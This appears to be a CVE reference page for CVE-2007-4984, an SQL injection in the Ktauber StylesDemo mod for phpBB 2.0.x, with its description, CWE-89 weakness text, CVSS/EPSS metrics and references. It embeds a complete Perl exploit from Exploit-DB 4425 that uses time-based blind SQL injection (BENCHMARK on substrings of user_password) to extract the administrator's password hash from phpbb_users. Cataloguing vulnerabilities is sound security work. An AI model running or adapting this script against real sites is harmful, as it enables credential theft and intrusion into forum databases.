CVE-2007-4984 : Detail

CVE-2007-4984

SQL Injection
A03-Injection
0.1%V3
Network
2007-09-19
17h00 +00:00
2017-09-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

SQL injection vulnerability in index.php in the Ktauber.com StylesDemo mod for phpBB 2.0.xx allows remote attackers to execute arbitrary SQL commands via the s parameter.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 4425

Publication date : 2007-09-17 22h00 +00:00
Author : nexen
EDB Verified : Yes

#--------------------------------------------------------------- # ____ __________ __ ____ __ #/_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ # | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ # | | | \ | |/ \ \___| | /_____/ | || | # |___|___| /\__| /______ /\___ >__| |___||__| # \/\______| \/ \/ #--------------------------------------------------------------- # #Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org # #-------------------------------------------------------------- # #Ktauber.com StylesDemo Mod for phpbb 2.0.xx Multiple Vulnerabilites # #--------------------------------------------------------------- # # Coded by nexen # # GreetZ: Rossi46go for code # # Description: # #XSS and SQL Injection # #--------------------------------------------------------------- # # # # #--------------------------------------------------------------- #exploit.pl #--------------------------------------------------------------- # # # use LWP::UserAgent; use HTTP::Request::Common; use Time::HiRes; ######################################## CONFIGURAZIONE EXPLOIT ########################################################################## $sito = "http://www.forumup.com/stylesdemo/"; # insert vulnerable site as http://[site]/[path]/ ########################################################################################################################################## $var = "1"; my $hash; @array = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102); sub richiesta { $var = $_[0]; $ua = LWP::UserAgent->new; $inizio=Time::HiRes::time(); $response = $ua->request(GET $var, s => $var); $response->is_success() || print("$!\n"); $fine=Time::HiRes::time(); $tempo=$fine-$inizio; return $tempo } sub aggiorna{ system("cls"); print "Tempo sql : " . $_[4] . " secondi\n"; print "Hash : " . $_[3] . "\n"; } #print richiesta; for ($i=1;$i<33;$i++) { for ($j=0;$j<16;$j++) { $var=$sito."index.php?s=(SELECT IF((ASCII(SUBSTRING(`user_password`,".$i.",1))=".$array[$j]."),benchmark(200000000,CHAR(0)),0) FROM phpbb_users WHERE `user_id`=2)/*"; $tempo=richiesta($var); aggiorna($host,$tempodefault,$j,$hash,$tempo,$i); if($tempo>9) { $tempo=richiesta($var); aggiorna($host,$tempodefault,$j,$hash,$tempo,$i); if($tempo>9) { $hash .=chr($array[$j]); aggiorna($host,$tempodefault,$j,$hash,$tempo,$i); $j=200; } } } if($i==1) { if($hash eq "") { $i=200; print "Attacco Fallito Sito Fixato\n"; } } } print "Attacco Terminato\n\n"; system("pause"); # milw0rm.com [2007-09-18]

Products Mentioned

Configuraton 0

Ktauber>>Stylesdemo >> Version 0.9.9

    Phpbb>>Phpbb >> Version To (including) 2.0.22

    References

    http://osvdb.org/38264
    Tags : vdb-entry, x_refsource_OSVDB
    http://www.securityfocus.com/bid/25710
    Tags : vdb-entry, x_refsource_BID
    https://www.exploit-db.com/exploits/4425
    Tags : exploit, x_refsource_EXPLOIT-DB